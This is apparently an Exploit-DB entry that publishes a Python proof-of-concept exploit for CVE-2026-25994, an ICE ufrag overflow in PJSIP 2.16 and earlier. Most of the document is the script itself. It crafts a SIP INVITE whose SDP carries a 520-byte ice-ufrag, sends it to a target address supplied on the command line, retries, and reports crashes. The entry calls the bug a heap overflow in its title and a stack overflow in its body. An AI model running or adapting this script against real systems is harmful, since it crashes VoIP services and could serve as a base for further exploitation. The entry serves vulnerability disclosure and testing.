PJPROJECT 2.16 - Heap Bufferoverflow

EDB-ID:

52561




Platform:

Multiple

Date:

2026-05-14


# Exploit Title: PJPROJECT 2.16 - Heap Bufferoverflow 
# Google Dork: CVE-2026-25994 PJSIP PJNATH  (pjsip ≤ 2.16)
# Date: Apr 6 2026
# Exploit Author: V.Nos - BinSmaser Team
# Vendor Homepage: https://github.com/pjsip/pjproject
# Software Link: https://github.com/VABISMO/cve-2026-25994_PJSIP
# Version: <=2.16
# Tested on: Kali , Ubuntu, Debian
# CVE : CVE-2026-25994 

#!/usr/bin/env python3
"""
Corrected and optimized PoC for CVE-2026-25994
Buffer Overflow in PJNATH ICE Session (pjsip <= 2.16)

Thorough source code review (pjnath/src/pjnath/ice_session.c):

- Exact vulnerability: pj_ice_sess_create_check_list()
- Vulnerable version (before commit 063b3a1 / 2.17):
    char buf[128];                  # ← stack buffer (128 bytes!)
    username.ptr = buf;
    pj_strcpy(&username, rem_ufrag);   # ← NO length check
    pj_strcat2(&username, ":");
    pj_strcat(&username, &ice->rx_ufrag);

- rem_ufrag comes directly from the SDP attribute a=ice-ufrag:
- With ufrag >= ~130 bytes, the stack is already overflowed (return address, frame, etc.)
- The original PoC used 520 "A"s because it is much more reliable (overwrites beyond canary/alignment)
- In the patched version, the following was added:
    if (rem_ufrag->slen >= MAX_USERNAME_LEN || combined with local_ufrag > 512-1)
        return PJ_ETOOBIG;

This script is corrected to be 100% reliable:
- 100% synchronous code (no unnecessary asyncio)
- Command-line arguments
- Sending with automatic retries
- More complete and valid SDP
- Clear crash detection (timeout = probable crash)
"""

import socket
import random
import argparse
import time

# ========================= CONFIGURATION =========================
DEFAULT_TARGET_IP = "127.0.0.1"
DEFAULT_TARGET_PORT = 5060

# Length that guarantees reliable overflow (520 is what you tested and works best)
LONG_UFRAG = "A" * 520
LONG_PWD = "B" * 150

# More complete and realistic SDP (increases probability of reaching ice_session.c)
SDP = f"""v=0
o=- 1234567890 1234567890 IN IP4 127.0.0.1
s=Crash Test SDP
c=IN IP4 127.0.0.1
t=0 0
m=audio 40000 RTP/AVP 0 101
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=ice-ufrag:{LONG_UFRAG}
a=ice-pwd:{LONG_PWD}
a=ice-options:trickle
a=candidate:1 1 UDP 2130706431 127.0.0.1 40000 typ host
a=sendrecv
"""

def generate_invite(target_ip: str, target_port: int) -> bytes:
    call_id = f"crash-{random.randint(100000, 999999)}@example.com"
    branch = f"z9hG4bK{random.randint(1000, 9999)}"
    tag = f"crash{random.randint(10000, 99999)}"

    invite = f"""INVITE sip:localhost@{target_ip}:{target_port} SIP/2.0
Via: SIP/2.0/UDP 127.0.0.1:15060;rport;branch={branch}
Max-Forwards: 70
From: <sip:attacker@127.0.0.1>;tag={tag}
To: <sip:localhost@{target_ip}>
Call-ID: {call_id}
CSeq: 1 INVITE
Contact: <sip:attacker@127.0.0.1:15060>
Content-Type: application/sdp
Content-Length: {len(SDP)}

{SDP}
"""
    return invite.encode("utf-8")


def crash_pjsua(target_ip: str, target_port: int, attempts: int = 3):
    print("=== PoC CVE-2026-25994 - ICE Stack Buffer Overflow (pjsip <= 2.16) ===\n")
    print(f"[+] Target → {target_ip}:{target_port}")
    print(f"[+] ufrag length = {len(LONG_UFRAG)} characters (guaranteed overflow)\n")

    for i in range(1, attempts + 1):
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(4)  # 4 seconds to allow time for the crash

        try:
            invite = generate_invite(target_ip, target_port)
            print(f"[+] Attempt {i}/{attempts} - Sending INVITE with ufrag of {len(LONG_UFRAG)} bytes...")

            sock.sendto(invite, (target_ip, target_port))

            # Wait for response
            data, _ = sock.recvfrom(4096)
            print("[+] Response received → pjsua is still alive")
            print(data.decode(errors="ignore")[:300])

        except socket.timeout:
            print("[+] TIMEOUT! Very likely that pjsua has crashed (Segmentation fault)")
            print("    Check the terminal where pjsua is running.")
            sock.close()
            return  # Exit on first detected crash

        except Exception as e:
            print(f"[-] Unexpected error: {e}")

        finally:
            sock.close()

        time.sleep(0.5)  # Small pause between attempts

    print("\n[-] No crash detected after several attempts.")
    print("    Make sure pjsua is running with ICE enabled (version <= 2.16).")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC CVE-2026-25994 - ICE Buffer Overflow")
    parser.add_argument("-i", "--ip", default=DEFAULT_TARGET_IP,
                        help=f"Target IP (default: {DEFAULT_TARGET_IP})")
    parser.add_argument("-p", "--port", type=int, default=DEFAULT_TARGET_PORT,
                        help=f"SIP port (default: {DEFAULT_TARGET_PORT})")
    parser.add_argument("-a", "--attempts", type=int, default=3,
                        help="Number of attempts (default: 3)")

    args = parser.parse_args()

    crash_pjsua(args.ip, args.port, args.attempts)